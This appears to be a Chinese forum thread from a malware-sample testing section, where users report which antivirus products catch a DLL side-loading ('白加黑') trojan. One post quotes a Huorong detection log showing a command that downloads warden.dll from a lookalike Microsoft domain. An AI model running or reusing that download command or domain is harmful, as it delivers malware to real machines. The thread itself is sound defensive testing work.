白加黑

显示全部楼层 · 发表于 2024-6-2 11:23:09

火绒5扫描miss

显示全部楼层 · 发表于 2024-6-2 12:27:11

火绒
运行：Web防护

病毒名称：Trojan/Hijack.dv
病毒ID：F69F19987B7534B6
病毒URL：http://ps.ms-api-microsoft.com/content?type=json
操作结果：已阻止
进程ID：6820
操作进程：C:\Users\Administrator\Desktop\ker2ni0vip\icmp.exe
操作进程命令行：icmp.exe -4 -O warden.dll http://ps.ms-api-microsoft.com/content?type=json

复制代码

显示全部楼层 · 发表于 2024-6-2 14:45:14

360 kill1x
pyas kill 2x

显示全部楼层 · 发表于 2024-6-2 15:10:42

本帖最后由 anthonyqian 于 2024-6-2 19:18 编辑

编辑掉

显示全部楼层 · 发表于 2024-6-2 21:16:20

火绒6.0可以杀掉

显示全部楼层 · 发表于 2024-6-2 22:42:19

链接网站的文件下载后是加密的，有什么讲究吗？

显示全部楼层 · 发表于 2024-6-2 22:57:23

横戈熔情发表于 2024-6-2 22:42
链接网站的文件下载后是加密的，有什么讲究吗？

样本区测试文件都默认带一个密码：infected。

显示全部楼层 · 发表于 2024-6-3 00:27:42

本帖最后由 scottxzt 于 2024-6-3 00:35 编辑

双击后后拦截生成文件，防火墙阻止联网C:\Users \Desktop\ker2ni0vip\Update.exe
Suspicious Object
黑未删除

显示全部楼层 · 发表于 2024-6-6 16:33:09

秋日之殇发表于 2024-6-2 22:57
样本区测试文件都默认带一个密码：infected。

谢谢，还有一个问题。此样本是不是最好不要在原机上运行？

[病毒样本] 白加黑